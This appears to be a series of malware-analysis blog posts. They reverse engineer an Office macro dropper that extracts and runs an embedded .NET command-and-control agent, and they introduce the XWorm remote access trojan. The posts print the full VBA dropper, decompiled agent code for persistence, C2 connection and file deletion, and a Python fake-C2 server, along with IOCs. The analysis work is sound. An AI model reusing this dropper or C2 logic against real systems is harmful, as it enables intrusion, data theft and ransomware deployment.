# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# rhino.acme.com # source server
# x.acme.com # x client host

# localhost name resolution is handled within DNS itself.
#	localhost
#	::1 localhost
151.20.37.49	 bank.com <-- When the user accesses bank.com, their system connects to 151.20.37.49, overriding the DNS configuration.

XWorm is a Remote Access Trojan; the main difference between this type of malware and a reverse shell is that it comes preloaded with built-in capabilities to perform various functions, such as keylogging, password exfiltration, execution of new programs, and more. By offering pre-customized functionalities, it enables individuals without technical knowledge to interact with it through administrative panels.

XWorm is sold on multiple criminal forums at varying prices. According to a study conducted by Trellix, version 4 of this malware was sold for $400 in 2023. As a result, it has been used to target multiple countries and industries. A quick internet search reveals that XWorm has recently been used to attack Ukraine, industry sectors in the United Kingdom, and to deploy the LockBit ransomware.

Static Analysis

Disclaimer: Running malware on a personal or corporate device can put your information or your company’s information at risk. Never execute malware on a device that has not been specifically configured for analysis.

Algorithm	Hash
MD5	b3aa8653079137d67f1998dbafeca57b

We begin the analysis with the Detect It Easy tool, which shows us that the file’s type is PE32 (Portable Executable, a Windows executable). It shows that the malware uses the .NET framework; this is important because depending on the framework/language, we can decide on the best tool for analyzing the malware.

Additionally, we see that it identifies the malware as XWorm. While this is a strong indicator, we should not rely 100% on this identification, as Detect It Easy, like OLEVba and other static analysis tools, looks for patterns and can incorrectly label certain patterns as malicious. Furthermore, there have been cases where threat actor groups (APTs) intentionally included IOCs from other threat groups in their tools to deceive investigators.

Finally, we see that Detect It Easy identifies the malware as obfuscated and with anti-debug and anti-VM capabilities.

If we analyze the binary with PEStudio, we can detect some interesting strings:

Within the strings, we see references to DDOS, commands for the computer (PCShutdown, PCLogoff), and the string "-ExecutionPolicy Bypass", which can be used to bypass PowerShell script verification, among others. Additionally, if we explore the other tabs in PEStudio, we can gain a better understanding of the .NET namespaces present, libraries it imports, and more.

Managed code vs Unmanaged code

Earlier in the article, I mentioned that, depending on the programming language, we could use different tools to analyze our sample. To understand this, it is important to know about managed and unmanaged languages:

Unmanaged code is code that runs directly on the machine without the need for a runtime environment. Here are its key characteristics:

Direct interaction with the system: This code has direct access to memory and system resources.
Faster but less secure: Although unmanaged code programs are faster and more lightweight, they require the programmer to carefully manage memory and other resources.
Example in C: In this language, programmers must manually manage memory, which can lead to vulnerabilities like buffer overflows if not done correctly.

Example of unmanaged code (in C):

#include <stdio.h>
#include <string.h>

int main() {
 char buffer[10];
 printf("Enter some text: ");
 gets(buffer); // Unsafe function, vulnerable to buffer overflow
 printf("You entered: %s\n", buffer);
 return 0;
}

Managed code is executed in a controlled environment provided by a “runtime” or execution environment, such as the .NET CLR (Common Language Runtime) for .NET applications. This offers advantages in terms of security and portability, as the environment manages memory and exceptions automatically

Automatic resource management: The CLR handles memory management, making the code more secure and less prone to errors like memory leaks.
Portability: Managed code is easier to port across different operating systems since the runtime takes care of translating the code into something understandable by the machine.

Example of managed code (in C#):

using System;

class Program
{
 static void Main()
 {
 string input = Console.ReadLine(); // Safe input handling
 Console.WriteLine("You entered: " + input);
 }
}

Intermediate Language (IL)

When we write code in .NET, whether in C# or Visual Basic, the compiler does not produce a binary that can be executed directly. Instead, it generates a binary in Intermediate Language (IL), which is a set of instructions that need to be converted to machine code by the CLR to be executed on the machine.

When you double-click a .EXE program that uses the .NET framework, the CLR performs a process known as Just In Time (JIT) compiling, which transforms the intermediate code into machine code that can be executed by the CPU:

If we compare two programs that do the same thing, one written in C and the other in C#, we can observe the significant size difference

This is important for our analysis because Intermediate Language binaries contain a large amount of metadata that makes the analysis easier. Instead of having to disassemble the binary with a tool like Ghidra, we can decompile it using DNSpy.

Conclusions

In this first article, we have laid the groundwork for understanding XWorm: we now know what type of binary it is, some potential functions to look for during the analysis, as well as the tools we can use to approach it. While this is a theoretical article, I believe the foundation of managed and unmanaged languages is important for future analyses.

In the next article, we will begin analyzing the actions performed by XWorm, how it evades defenses, decrypts configuration parameters while running, and more.

See you in the next article!

005 - Analyzing a C2 agent - Part 3: the agent - Dynamic analysis

Mon, 12 Feb 2024 12:03:49 -0500

Introduction

In the second part of this article we statically analyzed the .exe binary we obtained from a malicious macro; during the analysis, we identified that the program was developed in .NET, which facilitated the analysis because the intermediate language (IL) used by this framework is very similar to the original source code, allowing it to be easily decompiled.

In this section we will dynamically analyze the binary to confirm our static analysis was correct, as well as develop ways to interact with the agent.

Disclaimer: Running malware on a personal or corporate device can put your information/your company’s information at risk. Never run malware on a device that has not been specifically configured for malware analysis.

Dynamic analysis of the binary

Environment setup and initial connection

As part of the static analysis we identified that, after waiting for a few seconds, the program tries to communicate with the IP 162.245.191.217 on the ports 9149, 15198, 17818, 27781 and 29224, iterating through them until it gets a successful connection. We can verify that the program does indeed make such connection attempts using TCPView or Process Monitor:

Since the binary requires a successful response from the server to continue, we can proceed in two ways:

Modify the destination IP during execution using DNSpy
Modify Remnux to intercept the traffic directed to the server

On this occasion I opted for the second option, which can be implemented by modifying Remnux’s firwall rules; to do so, we can redirect all traffic destined to the server’s IP to a specific port in Remnux:

sudo iptables -t nat -A PREROUTING -i ens33 -p tcp -d 162.245.191.217 -j DNAT --to-destination 10.0.0.3:4321

As part of the static analysis we identified that the program gets a response from the server, splits it using the “=” character and based on the first part of the message (what is before the “=” character) performs an action. We can test this by sending a value that we know the program understands and see if it follows the expected path:

import socket
import struct

message_content = "thyTumb=LoremIpsumTest"
print(message_content)

HOST = '0.0.0.0'
PORT = 4321


with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
 s.bind((HOST, PORT))
 s.listen()

 print("Server is listening...")
 conn, addr = s.accept()
 with conn:
 print('Connected by', addr)
 conn.sendall(message_content.encode())
 print("Data sent to the client.")

However, we quickly realize that sending a message will not be so simple; the agent implements custom logic to determine the size of the message and thus know when to stop “reading” data:

Furthermore, due to differences in how C# (what the agent is written in) and Python (the server we are using to impersonate the real server) handle TCP messages, it is necessary to make adjustments to the code so that the agent can understand the message:

import socket
import struct

message_content = "thyQumb=LoremIpsumTest"

message_length = len(message_content.encode())
packed_length = struct.pack('!I', message_length)

reversed_length = packed_length[::-1]

reversed_length = reversed_length + b'\x00' * (5 - len(reversed_length))

message_to_send = reversed_length + message_content.encode()
print(message_to_send)

HOST = '0.0.0.0' 
PORT = 4321 

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
 s.bind((HOST, PORT))
 s.listen()

 print("Server is listening...")
 conn, addr = s.accept()
 with conn:
 print('Connected by', addr)
 conn.sendall(message_to_send)
 print("Data sent to the client.")

With these modifications we verify that the message reaches the agent correctly:

During analysis it can take a long time for the necessary conditions to be met for the malware to communicate with the server, so extracting the part of the code we want to understand and using it in another program can help us understand what is happening more effectively; to understand how Python sent the messages and how .NET received them, I made a small program that allowed me to validate the response of each stage of the process:

Once we are able to send information to the agent in a “language” that it can understand, implementing the logic of receiving information from the agent takes little time. Finally we have how to send commands to the Command and Control agent and we can verify how it behaves in practice.

Analysis of the agent’s capabilities

As in the previous article, we will analyze some capabilities offered by the agent to verify how they behave during its execution:

Listing processes

When the command “geyTtavs” is received, we expect the ID of each process to be sent, followed by the name of each process, following the pattern Process ID1>ProcessName1>0>IDProcess2>ProcessName2>0><. Using Wireshark, we can verify that the information is indeed sent this way:

On the server, we can modify our script to better parse the received information:

Establish persistence

Another of the functions offered by the C2 agent that we identified during the static analysis is that of establishing persistence, which we can verify using Autoruns and Process monitor.

The C2 agent uses the registry key HKEY_CURRENT_USERSoftware\Microsoft\Windows\CurrentVersion\Run to configure the agent to run at each login (technique T1547.001 in MITRE ATT&CK).

Exfiltrating files

The agent offers the attacker the ability to exfiltrate files using the “afyTile” command, for which it receives a file path and proceeds to send the file to the C2 server; we can update our server to interact with that function and confirm the agent read and sent the file using Wireshark and Process Monitor:

Downloading and executing programs

One of the most interesting capabilities offered by the agent is the ability to download and execute binaries from the C2 server, so an attacker can extend their attack using capabilities not initially available in the malware. One of the situations where we constantly see such a technique is with organizations that deploy ransomware, where organizations known as Initial Access Brokers (IABs) sell the access they gained into a company to Ransomware organizations such as Lockbit and Conti.

For my initial test, I had the application download and execute the Windows calculator:

However, since running the calculator is boring, I decided to download Wannacry simulating what a real attacker might do:

C2 server demo

After analyzing some of the capabilities offered by the agent (facilitated by the easy decompilation of .NET), I managed to implement a server capable of communicating with it based only on the agent’s code; among the features that I implemented are listing processes, obtaining system information, executing commands, establishing persistence, listing files in a directory, and downloading and executing binaries.

The following video shows some of the capabilities:

As shown in the video, the agent establishes communication with the Command and Control server every minute, which allows the attacker to send different commands; among those reviewed are the download and execution of binaries, where Mimikatz was downloaded and executed, the listing of system processes, where we identified the Mimikatz process, and obtaining system information, where we obtained the name of the machine, the user, the Windows version, as well as the path where the agent was running.

Furthermore, we can see how these activities appear in tools such as Process Explorer, Process Monitor, TCP View and Wireshark, which allow us to understand in detail the actions triggered by each capability of the malware.

The video does not show all the implemented capabilities, as well as others offered by the agent that were not adapted to the fake server (deleting files, taking screenshots, etc.), which is why I encourage the readers to reverse-engineer the binary and implement these capabilities as a way of learning.

Conclusions

When I started the analysis of this malware I only knew that it contained a malicious macro, but not that it embedded a Command and Control agent, that I would be able to decompile, analyze, and develop a POC to interact with it. The malware obtained was the perfect opportunity to practice different analysis techniques, both static and dynamic, allowing us to reverse engineer the malware without having to read assembly code.

Thank you for joining me in this analysis. I invite you to replicate what we have seen and practice the techniques we learned.

MITRE ATT&CK Mapping

ID	Tactic	Technique	Description
T1059.003	Execution	Command and Scripting Interpreter: Windows Command Shell	The method Process.Start was used to initiate new processes
T1547.001	Persistence	Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder	A registry key was used to stablish persistence
T1070.004	Defence evasion	Indicator Removal: File Deletion	The agent has the capability to delete files
T1027.010	Defence evasion	Obfuscated Files or Information: Command Obfuscation	Character substitution was used to obfuscate commands
T1057	Discovery	Process Discovery	The agent has the capability to list processes
T1082	Discovery	System Information Discovery	The agent has the capability to obtain information about the system
T1113	Collection	Screen Capture	The agent has the capability to take screenshots
T1005	Collection	Data from Local System	The agent has the capability to obtain information about the system’s files
T1571	Command and Control	Non-Standard Port	The agent communicates using a non-standard port
T1095	Command and Control	Non-Application Layer Protocol	The agent communicates directly through a TCP connection
T1041	Command and Control	Exfiltration Over C2 Channel	The agent exfiltrates information using the connection with the C2 server

IOC

IOC	Tipo	Descripción
59211a4e0f27d70c659 636746b61945a	MD5 Hash	C2 agent hash
162.245.191.217	IP	IP that the agent calls
HKEY\CURRENT \USER\Software \Microsoft\Windows \CurrentVersion \Run\haijwivetsgVr	Registry key	Registry key used to establish persistence

004 - Analyzing a C2 agent - Part 2: the agent - Static analysis

Fri, 05 Jan 2024 12:03:49 -0500

Introduction

In the first part of this article we identified that, after implementing certain techniques to make detection more difficult, the malicious macro we analyzed extracted and executed an embedded .exe binary. In this part, we will analyze said binary statically to understand how it works, how we determine that it corresponds to a C2 agent, and what indicators of compromise we can obtain from it.

Due to the length of the article, we will evaluate the binary dynamically in a third installment.

Disclaimer: Running malware on a personal or corporate device can put your information/your company’s information at risk. Never run malware on a device that has not been specifically configured for malware analysis.

Static analysis of the executable

Identifying the binary’s hashes and the development framework it uses

We start the analysis by obtaining the hash of the executable:

Algorithm	Hash
MD5	59211a4e0f27d70c659636746b61945a
SHA256	2110af4e9c7a4f7a39948cdd696fcd8b 4cdbb7a6a5bf5c5a277b779cc1bf8577

After opening the binary in PEStudio, we see some interesting things:

PEStudio identifies the binary as of “Microsoft .NET” type.
The binary appears to have been compiled on September 05 2023, so it is recent (this value can be altered so it is not 100% reliable).
The path to the “debug” file of the binary is identified, which contains \obj\Debug, a standard directory created by Visual Studio.

These factors seem to suggest that it is a .NET program; additionally, by analyzing some of the other sections provided by PEStudio we can get further confirmation of this:

PEStudio identifies the .NET namespace System.Net.Socket
PEStudio identifies that the program, during its execution, imports .NET classes

With this information, we can say with near total certainty that the binary corresponds to one developed with the .NET framework. Additionally, we see that PEStudio identifies an IP, which may be an indicator of compromise (IOC) of interest.

Decompilation of .NET binaries

Programs developed in .NET are usually susceptible to decompilation because they are not compiled directly to the binary machine language that the computer understands (the 0’s and 1’s). Instead, they are compiled to an intermediate language (IL), which is converted during the program’s execution to the specific machine language of the environment in which it is running.

Although this framework provides flexibility, the intermediate language contains information about classes names, methods, metadata, etc., which allows it to be decompiled and thus, “reverted” almost to its original form.

There are different tools that allow decompiling a binary created in .NET, among them ILSpy and dnSpy; for this analysis I will use dnSpy due to the debugging capabilities it offers.

Initial analysis of the binary

When we open the executable in dnSpy, we validate that we can indeed visualize the code:

Since analyzing each function called by the executable can be very tedious (specially if it contains garbage code to hinder analysis), we will follow the flow of calls made from the Main method.

We verify that when the program starts it calls the Form1 form, which, when initialized, invokes the InitializeComponent() method. From this method’s configuration we can gather three things:
1. The opacity of the form is set to 0 to make it invisible.
2. The form is configured not to have an icon in the taskbar.
3. The method Form1_Load is called.

private void InitializeComponent()
		{
 ...
			base.Name = "Form1";
			base.Opacity = 0.0;
			base.ShowIcon = false;
			base.ShowInTaskbar = false;
			this.Text = "Form1";
			base.FormClosing += this.Form1_FormClosing;
			base.Load += this.Form1_Load;
 ...

		}

The Form1_Load method stops execution (“sleeps”) for a few seconds before calling the corediQart() method:

private void Form1_Load(object sender, EventArgs e)
		{
			try
			{
				Thread.Sleep(1010);
				base.ShowInTaskbar = false;
				base.Visible = false;
				base.FormBorderStyle = FormBorderStyle.SizableToolWindow;
				Thread.Sleep(2050);
				Thread.Sleep(1280);
				this.mainvp.corediQart();
			}
			catch
			{
			}
		}

This technique (T1497.003) is usually used by attackers to evade dynamic analysis tools, many of which are only active for a short period of time and may believe that a binary does not have malicious behavior just because it is not yet executed. In this case, from my point of view, the times are too short to be useful for this technique, so they are probably to give time to other components of the program to finish loading.

The corediQart() method performs the following actions:
1. Assigns the first port defined in the ports variable to the port variable.
2. Gets the name of the computer where the program is running, as well as the user running the program and assigns it to the userAiunt variable.
3. Creates an object of type TimerCallback that calls the procvQloop method.
4. Set the object of type TimerCallback to run every 58.51 seconds, after initially waiting 49.12 seconds.

		public void corediQart()
		{
			DIRERRIF.port = DIRERRIF.ports[0];
			this.userAiunt = new MRDFINF();
			...
			TimerCallback callback = new TimerCallback(this.procvQloop);
			Timer timer = new Timer(callback, this.objeAdate, 49120, 58510);
			this.objeAdate.timer = timer;
		}

 public static int[] ports = new int[]
		{
			9149,
			15198,
			17818,
			27781,
			29224
		};

 public MRDFINF()
		{
			...
			this.comtname = SystemInformation.ComputerName;
			this.acc_datQtime = Environment.UserName;
			...
		}

Analyzing what the procvQloop() method does, it initiates a TCP connection with the IP stored in the min_codns variable; in that variable, the IP is stored as a set of bytes, probably to make detection more difficult:

DIRERRIF.mainwtp = Encoding.UTF8.GetString(DIRERRIF.min_codns, 0, DIRERRIF.min_codns.Length).ToString();
this.maiedet = new TcpClient();
this.maiedet.Connect(DIRERRIF.mainwtp, DIRERRIF.port);

public static byte[] min_codns = new byte[]
{49, 54, 50, 46, 50, 52, 53, 46, 49, 57, 49, 46, 50, 49, 55};

The TCP connection is established with the IP stored in the min_codns variable on the port assigned to the port variable.

Once the connection is made, if successful, the procD_core() method is called, which performs multiple operations:
1. Gets a response from the previously established TCP connection.
2. Separate the obtained answer using the ‘=’ separator.
3. Based on the first value of the answer (what was before the ‘=’) it calls different methods.

private void procD_core()
 ...
		string[] procss_type = this.get_procsQtype();
		...
		string text = procss_type[0].ToLower();
		...
		if (text == "thyTumb")
		{
			this.imagiQtails(procss_type[1]);
		}
		if (text == "scyTrsz")
		{
			this.dsAscrnsize(procss_type[1]);
		}
		...

public string[] get_procsQtype()
{
	string[] result;
	try
	{
		byte[] array = new byte[5];
		this.byteAdesr = this.newWam.Read(array, 0, 5);
		int num = BitConverter.ToInt32(array, 0);
		byte[] array2 = new byte[num];
		int num2 = 0;
		for (int i = num; i > 0; i -= this.byteAdesr)
		{
			int count = (i > this.bufeAize) ? this.bufeAize : i;
			this.byteAdesr = this.newWam.Read(array2, num2, count);
			num2 += this.byteAdesr;
		}
		string text = Encoding.UTF8.GetString(array2, 0, num).ToString();
		if (text.Trim() == "")
		{
			result = null;
		}
		else
		{
			result = text.Split(new char[]
			{
				'='
			});
		}
	}
	return result;
}

Without analyzing the rest of the functions, the behavior of the program already suggests that it might be a C2 agent:

Every so often (approximately every minute), it communicates with a server using a non-common IP and a non-common port.
It receives a response from the server, which is composed of two sections.
Based on the first section (commands), it calls methods by passing them the second section (payload/command parameters).

Based on this analysis we can assume that the server sends commands to the agent, which executes them. Further analysis will allow us to confirm if it is really a Command and Control agent, as well as the capabilities that this agent has.

Analysis of C2 agent functions

Since analyzing each function would be very tedious, we will analyze some functions that I found interesting:

List processes

As in the macro containing the binary, the use of underscores to separate commands/variables is seen:

When the “geyTtavs” command is received, the processes running on the system are obtained and their ID and name are sent to the server using the loadQData function:

The loadQData function sends the type of response to expect, the size of the response and the response to the server.

Just by analyzing the “list processes” function, we can confirm that it is indeed a Command and Control agent: the program contacts a server, receives an instruction (list processes in this case) and sends the response to the server.

Establish persistence

The registry key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run is usually abused by attackers to establish persistence; such technique is listed in MITRE ATT&CK with ID T1547.001 and allows an attacker to run a program when the user logs in, under the context (permissions) of that user.

We verify that the agent provides the capability to establish persistence. On receiving the command “puyTtsrt” it creates the registry key with name “haijwivetsgVr”:

As before, we see that the path name in the registry has been split using underscores to make identification more difficult.

List files

Upon receiving the “flyTes” command along with a path, the command lists the files in the path using the Directory.GetFiles method, concatenates them using the character ‘>’ as a separator and sends them to the server:

Take screenshots

The “cdyTcrgn”, “csyTcrgn” and “csyTdcrgn” commands can be used to take screenshots and send them to the server:

File exfiltration

The “afyTile” command can be used to exfiltrate a file from the victim’s machine to the server; to do so, it receives the path of the file to exfiltrate as a parameter:

The information sent back to the server includes the file path, the file name and the contents of the file.

Execute binaries

To execute a program that already exists in the system (either native or downloaded with another command), the “ruyTnf” command is used, which starts a new process receiving as a parameter the name of the program to be executed.

if (text == "ruyTnf") {
 ...
 Process.Start(procss_type[1].Split(new char[] { '>' })[0]);
 } catch {
 }
}

Delete a file

The “deyTlt” command receives as a parameter the path where a file is stored, and then uses the File.Delete method to delete it:

if (text == "deyTlt") {
 this.trasQfiles(procss_type[1]);
}

public void trasQfiles(string path) {
 try {
 File.Delete(path);
 } catch {
 }
}

Conclusions

When I started writing this article I thought it would be the final part of the analysis; however, after identifying the number of functions that the agent exposed, I preferred to go into detail on some of them and leave the dynamic analysis for the next article.

The analyzed malware has all the characteristics of a Command and Control agent: it contacts the server from time to time, allows obtaining information from the system, allows exfiltrating information, allows downloading binaries to the system and executing them, among other functions.

The malware uses a couple of techniques to bypass static code analysis tools: the use of underscores to alter variable names/registry keys, as well as the use of a byte array to store an IP instead of storing it in plaintext; however, the fact that it has been developed in .NET allows for easy decompilation and analysis.

In the next article I will elaborate on how someone can interact with the malware as part of their analysis, and thus evidence whether it has any unidentified behavior not identified as part of the static analysis.

MITRE ATT&CK Mapping

ID	Tactic	Technique	Description
T1059.003	Execution	Command and Scripting Interpreter: Windows Command Shell	The method Process.Start was used to initiate new processes
T1547.001	Persistence	Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder	A registry key was used to stablish persistence
T1070.004	Defence evasion	Indicator Removal: File Deletion	The agent has the capability to delete files
T1027.010	Defence evasion	Obfuscated Files or Information: Command Obfuscation	Character substitution was used to obfuscate commands
T1057	Discovery	Process Discovery	The agent has the capability to list processes
T1082	Discovery	System Information Discovery	The agent has the capability to obtain information about the system
T1113	Collection	Screen Capture	The agent has the capability to take screenshots
T1005	Collection	Data from Local System	The agent has the capability to obtain information about the system’s files
T1571	Command and Control	Non-Standard Port	The agent communicates using a non-standard port
T1095	Command and Control	Non-Application Layer Protocol	The agent communicates directly through a TCP connection
T1041	Command and Control	Exfiltration Over C2 Channel	The agent exfiltrates information using the connection with the C2 server

IOC

IOC	Tipo	Descripción
59211a4e0f27d70c659 636746b61945a	MD5 Hash	C2 agent hash
162.245.191.217	IP	IP that the agent calls
HKEY\CURRENT \USER\Software \Microsoft\Windows \CurrentVersion \Run\haijwivetsgVr	Registry key	Registry key used to establish persistence

003 - Analyzing a C2 agent - Part 1: The Dropper

Sun, 10 Dec 2023 22:29:12 -0500

Introduction

On this occasion I decided to analyze a command and control (C2) agent, reviewing how it reaches its victims and what techniques it uses to evade defenses and hinder analysis. Since the whole post would be very long, I divided it into two parts: the first part will focus on the analysis of the macro that acts as a dropper, while the second part will focus on the analysis of the payload (C2 agent).

The chosen dropper has the hash 22ce9042f6f78202c6c346cef1b6e532 and can be downloaded from the following link.

Disclaimer: Running malware on a personal or corporate device can put your information/your company’s information at risk. Never run malware on a device that has not been specifically configured for malware analysis.

Office Macros: the technique that never seems to end

Before starting with the analysis, I want to delve a little bit into what macros are and why they are usually abused by attackers.

Macros are sequences of commands that allow us to automate tasks in Microsoft Office programs, they can be used for formatting texts, running calculations, etc. Macros have the same privileges as the program from which they are running, wich means that they have full access to the computer under the context of the user who ran the Office program.

Macros are of special interest of attackers due to the following reasons:

They allow the attackers to embed code in legitimate documents, so they don’t have to convince their victims to download a binary.
Most users are accustomed to using Office programs, and may usually receive such type of files by email (especially in enterprises).
The victim’s company’s anti-spam systems may block files with a .exe extension; however, they probably allow Office files.
The Microsoft Office suite is widely distributed, which increases the likelihood that the malware can be run by their victim.
They can be used on both Windows and MacOS.

The use of Visual Basic to execute malicious commands is so common that it has a subtechnique of MITRE ATT&CK associated: T1059.005, more information on how this technique has been used in other malware distribution campaigns can be found on MITRE’s ATT&CK site.

Microsoft has begun blocking the execution of macros downloaded from the Internet in recent versions of Microsoft Office; however, many companies and users still use outdated versions, allowing the technique to continue to be widely used.

Static analysis of the file

We begin the analysis by obtaining the hash of the malicious Word document:

Algorithm	Hash
MD5	22CE9042F6F78202C6C346CEF1B6E532
SHA256	E38C39E302DE158D22E8D0BA9CD6CC93 68817BC611418A5777D00B90A9341404

Then, we begin olevba analysis using the -a parameter:

We see that olevba warns us that the Document_Open function is executed automatically when the file is opened (typical behavior of malicious macros, which avoid requiring user interaction); additionally, we see certain text strings that olevba considers suspicious:

String	Description
Environ	It is used to read environmental variables
Open	It is used to open files
CopyFile	It is used to copy files
MkDir	It is used to create folders
Shell	It can be used to run commands on the system

In this case, unlike the previous article, olevba does not detect potential indicators of compromise (IOC).

We continue the analysis by using the -c parameter to visualize the document’s macros:

By looking at the macros, we can see some of the techniques that the attacker used to make analysis more difficult and evade defenses:

No easy-to-understand function or variable names are used, making manual analysis harder.
The Replace method is used to remove, during macro execution, characters used to fool pattern identification systems.

The second technique is of particular interest, as it can fool programs that look for patterns to identify potentially suspicious strings (URLs, IPs, extensions, filenames, etc). For example, the following regular expression can be used to search for strings that end in .zip or .exe:

\.(zip|exe)$

In the macro, the string “do_mc_xs.zi_p” is shown, which is not detected by the regular expression; however, during execution it is renamed to “domcxs.zip” for further processing.

Since the function has several lines, and is difficult to understand with unfriendly variable names, we export it to a file to “clean it up” a bit:

olevba.exe -c .\e38c39e302de158d22e8d0ba9cd6cc9368817bc611418a5777d00b90a9341404.docm > macros.vba

Once exported, we identify that Document_Open() calls the “weoqzisdi___lorfar()” function:

Since we don’t see any code on the other functions, we extract the “weoqzisdi___lorfar()” function for further analysis:

Sub weoqzisdi___lorfar()
 
 Dim path_weoqzisdi___file As String
 
 Dim file_weoqzisdi___name As String
 
 Dim folder_weoqzisdi___name As Variant
 Dim oAzedpp As Object
 
 Set oAzedpp = CreateObject("Shell.Application")
 
 file_weoqzisdi___name = "vteijam hdgtra"
 
 folder_weoqzisdi___name = Environ$("USERPROFILE") & "\Wrdix" & "" & Second(Now) & "\"
 
 If Dir(folder_weoqzisdi___name, vbDirectory) = "" Then
 MkDir (folder_weoqzisdi___name)
 End If
 
 path_weoqzisdi___file = folder_weoqzisdi___name & file_weoqzisdi___name
 
 Dim FSEDEO As Object
 Set FSEDEO = CreateObject("Scripting.FileSystemObject")
 
 FSEDEO.CopyFile Application.ActiveDocument.FullName, folder_weoqzisdi___name & Replace("do_mc_xs", "_", ""), TRUE
 Set FSEDEO = Nothing
 
 Name folder_weoqzisdi___name & Replace("do_mc_xs", "_", "") As folder_weoqzisdi___name & Replace("do_mc_xs.zi_p", "_", "")
 
 oAzedpp.Namespace(folder_weoqzisdi___name).CopyHere oAzedpp.Namespace(folder_weoqzisdi___name & Replace("do_mc_xs.zi_p", "_", "")).items
 
 Dim poueeds As Integer
 Dim filewedum As String
 
 poueeds = InStr(Application.System.Version, ".1")
 
 filewedum = 2
 
 If poueeds Then
 filewedum = 1
 End If
 
 Name folder_weoqzisdi___name & "word\embeddings\oleObject1.bin" As folder_weoqzisdi___name & "word\" & file_weoqzisdi___name & Replace(".z_ip", "_", "")
 
 oAzedpp.Namespace(folder_weoqzisdi___name).CopyHere oAzedpp.Namespace(folder_weoqzisdi___name & "word\" & file_weoqzisdi___name & Replace(".z_ip", "_", "")).items
 
 Name folder_weoqzisdi___name & "oleObject" & filewedum & ".bin" As folder_weoqzisdi___name & file_weoqzisdi___name & Replace(".e_xe", "_", "")
 
 Shell folder_weoqzisdi___name & file_weoqzisdi___name & Replace(".e_xe", "_", ""), vbNormalNoFocus
 
 Dim dokc_paeth As String
 
 dokc_paeth = Environ$("USERPROFILE") & "\Documents\" & Application.ActiveDocument.Name & ".docx"
 
 If Dir(dokc_paeth) = "" Then
 Name folder_weoqzisdi___name & "word\embeddings\oleObject3.bin" As dokc_paeth
 End If
 
 Documents.Open FileName:=dokc_paeth, ConfirmConversions:=False, _
 ReadOnly:=False, AddToRecentFiles:=False, PasswordDocument:="", _
 PasswordTemplate:="", Revert:=False, WritePasswordDocument:="", _
 WritePasswordTemplate:="", Format:=wdOpenFormatAuto, XMLTransform:=""
 
End Sub

After removing the extra lines and fixing the code’s identation, we proceed to rename the variables to make them easier to read:

In this case, we are lucky that some of the variables kept their original name before being concatenated with other characters, allowing us to easily identify what they are used for. If we did not have that information, we could deduce their function based on how they are being used.

After renaming the long variables, we can start reading line by line and trying to understand what the code is doing:

Sub weoqzisdi___lorfar()
 
 Dim mpath As String
 Dim mfile As String
 Dim mfolder As Variant
 Dim mShellApplication As Object
 
 'The object Shell.Application is created
 Set mShellApplication = CreateObject("Shell.Application")
 
 'The string "vteijam hdgtra" is assigned to the variable mfile
 mfile = "vteijam hdgtra"
 
 'The enviromental variable "USERPROFILE" path is concatenated with
 '\Wrdix concatenated with the second the function was executed concatenated with "\"
 'For example: C:\Users\tmn\Wrdix12\
 mfolder = Environ$("USERPROFILE") & "\Wrdix" & "" & Second(Now) & "\"
 
 'It verifies if the folder exists and if not, it is created
 If Dir(mfolder, vbDirectory) = "" Then
 MkDir (mfolder)
 End If
 
 'The path + filename is assigned to the mpath variable (C:\Users\tmn\Wrdix12\vteijam hdgtra)
 mpath = mfolder & mfile
 
 Dim FSEDEO As Object
 Set FSEDEO = CreateObject("Scripting.FileSystemObject")
 
 'The CopyFile method is used, its syntax is: object.CopyFile source, destination, [ overwrite ]
 'The document that is being executed (the .docm) is copied to the folder stored on the mfolder variable with the name domcxs
 'The method "Replace" is used to strip the underscores of the "do_mc_xs" string
 'https://learn.microsoft.com/en-us/office/vba/language/reference/user-interface-help/copyfile-method
 'https://learn.microsoft.com/en-us/office/vba/language/reference/user-interface-help/replace-function
 FSEDEO.CopyFile Application.ActiveDocument.FullName, mfolder & Replace("do_mc_xs", "_", ""), TRUE
 Set FSEDEO = Nothing
 
 'By using the function "Name" domcxs is renamed to domcxs.zip
 'Name's syntax is oldName As newName
 'https://learn.microsoft.com/en-us/office/vba/language/reference/user-interface-help/name-statement
 Name mfolder & Replace("do_mc_xs", "_", "") As mfolder & Replace("do_mc_xs.zi_p", "_", "")
 
 'domcxs.zip is extracted to the path stored in the variable mfolder
 mShellApplication.Namespace(mfolder).CopyHere mShellApplication.Namespace(mfolder & Replace("do_mc_xs.zi_p", "_", "")).items
 
 Dim poueeds As Integer
 Dim filewedum As String
 
 'There is a validation to see if Word's version contains ".1" before asigning the filewedum variable
 poueeds = InStr(Application.System.Version, ".1")
 filewedum = 2
 If poueeds Then
 filewedum = 1
 End If
 
 'The file mfolder\word\embeddings\oleObject1.bin is renamed "mfoldder\word\vteijam hdgtra.zip"
 Name mfolder & "word\embeddings\oleObject1.bin" As mfolder & "word\" & mfile & Replace(".z_ip", "_", "")
 
 'The content of "mfoldder\word\vteijam hdgtra.zip" is extracted in mfolder's path
 mShellApplication.Namespace(mfolder).CopyHere mShellApplication.Namespace(mfolder & "word\" & mfile & Replace(".z_ip", "_", "")).items
 
 'mfolder\oleObjectfilewedum.bin is renamed as mfolder\mfile.exe
 Name mfolder & "oleObject" & filewedum & ".bin" As mfolder & mfile & Replace(".e_xe", "_", "")
 
 'The binary mfolder\mfile.exe is executed
 Shell mfolder & mfile & Replace(".e_xe", "_", ""), vbNormalNoFocus
 
 'The file mfolder\word\embeddings\oleObject3.bin is renamed as C:\users\USER\Documents\nameOfMaliciousDoc.docx
 Dim dokc_paeth As String
 
 dokc_paeth = Environ$("USERPROFILE") & "\Documents\" & Application.ActiveDocument.Name & ".docx"
 
 If Dir(dokc_paeth) = "" Then
 Name mfolder & "word\embeddings\oleObject3.bin" As dokc_paeth
 End If
 
 'The .docx file is opened
 
 Documents.Open FileName
 = dokc_paeth, ConfirmConversions
 = False, _
 ReadOnly
 = False, AddToRecentFiles
 = False, PasswordDocument
 = "", _
 PasswordTemplate
 = "", Revert
 = False, WritePasswordDocument
 = "", _
 WritePasswordTemplate
 = "", Format
 = wdOpenFormatAuto, XMLTransform
 = ""
 
End Sub

